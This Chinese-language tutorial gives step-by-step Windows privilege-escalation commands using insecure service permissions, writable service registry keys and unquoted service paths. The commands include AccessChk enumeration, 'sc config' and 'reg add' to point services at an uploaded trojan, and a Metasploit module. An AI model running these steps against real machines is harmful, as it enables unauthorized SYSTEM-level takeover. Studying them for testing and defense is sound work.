用户配置不当导致的不安全服务
利用用户在配置服务时的疏忽,使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限(SERVICE_CHANGE_CONFIG)或完全控制权限(SERVICE_ALL_ACCESS)。从而替换掉该服务所要启动的程序进行提权
原理
系统安装的应用软件会进行服务注册,大多数服务在计算机开机时以system权限启动,服务被注册时会在下面路径进行注册表创建。 Windows 系统服务在操作系统启动时运行,并在后台调用其相应的二进制文件,如图一所示,那么我们可以让服务在启动时运行木马程序进行提权
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services
出现前提
工具
subinacl.exe /service phpstudysrv /grant="Authenticated Users"=W
步骤
#上传木马反向连接,用msf监听端口#确定权限getuid#上传 AccessChk工具到目标服务器upload /root/upgrade/accesschk.exe ./# 用 AccessChk枚举 目标主机Authenticated Users组存在权限缺陷的系统服务;也可以单独查某个用户accesschk.exe /accepteula -uwcqv "Authenticated Users" *#注释:如果存在SERVICE_CHANGE_CONFIG或者SERVICE_ALL_ACCESS就继续下述操作,不存在就放弃#上传一个新的木马并监听该端口#替换目标服务下的程序sc config phpstudysrv binpath= "C:\phpstudy_pro\WWW\pikachu\vul\rce\7777.exe "#等待目标机上线或者手动重启(用户对目标服务 拥有 SERVICE_STOP 和 SERVICE_START 权限)
net stop <服务名称>
net start <服务名称>
accesschk.exe参数说明
参 数 | 说明 |
-a | 名称是Windows帐户权限。 指定 "*" 为显示分配给用户的所有权限的名称。 请注意,指定特定权限时,仅显示直接分配给右侧的组和帐户。 |
-c | 名称是Windows服务,例如。 ssdpsrv 指定 "*" 为显示所有服务的名称,并 scmanager检查服务控制管理器的安全性。 |
-d | 仅处理目录或顶级密钥 |
-e | 仅显示(Windows Vista 及更高级别的显式设置完整性级别) |
-f | 如果如下所示 -p ,则显示完整的进程令牌信息,包括组和特权。 否则为要从输出中筛选的逗号分隔帐户的列表。 |
-h | 名称是文件或打印机共享。 指定 "*" 为显示所有共享的名称。 |
-i | 在转储完全访问控制列表时,仅忽略仅继承ACE 的对象。 |
-k | 名称是注册表项,例如 hklm\software |
-l | 显示完整的安全描述符。 添加 -i 以忽略继承的ACE。 |
-n | 仅显示没有访问权限的对象 |
-o | 名称是对象管理器命名空间中的对象, (默认值为根) 。若要查看目录的内容,请使用尾随反 斜杠或添加 -s 指定名称。 添加 -t 和对象类型 (,例如节) 仅查看特定类型的对象。 |
-p | 名称是进程名称或 PID,例如 cmd.exe , (指定 "*" 为显示所有进程) 的名称。 添加 -f 以显示完整的进程令牌信息,包括组和特权。 添加 -t 以显示线程。 |
-q | 省略横幅 |
-r | 仅显示具有读取访问权限的对象 |
-s | Recurse |
-t | 对象类型筛选器,例如 "section" |
-u | 禁止显示错误 |
-v | 详细(包括Windows Vista 完整性级别) |
-w | 仅显示具有写入访问权限的对象 |
修改注册表进行提权
原理
步骤
利用msf进入监听模块,再进入shell
#查看哪些服务的注册表可以利用
accesschk64.exe /accepteula -uvwqk "test1" HKLM\SYSTEM\CurrentControlSet\Services
#发现对phpstudysrv服务的注册表有修改权限,进行攻击
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\phpstudysrv /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /c [木马绝对路径]" /f
重启服务等待上线
利用未引用的服务路径进行提权
手动攻击
#寻找没有加引号的服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
#在给出的信息中找到有空格的路径#用 Accesschk 检查受影响的目录,查看当前用户对受影响的目录是否拥有完全控制权限accesschk.exe /accepteula -quv " 用户名 " "服务路径目录"#向上级目录上传木马#等待服务重启上线
利用msf自动化开始攻击
将原本的会话挂起 backgrounduse windows/local/unquoted_service_path设置 sessionrun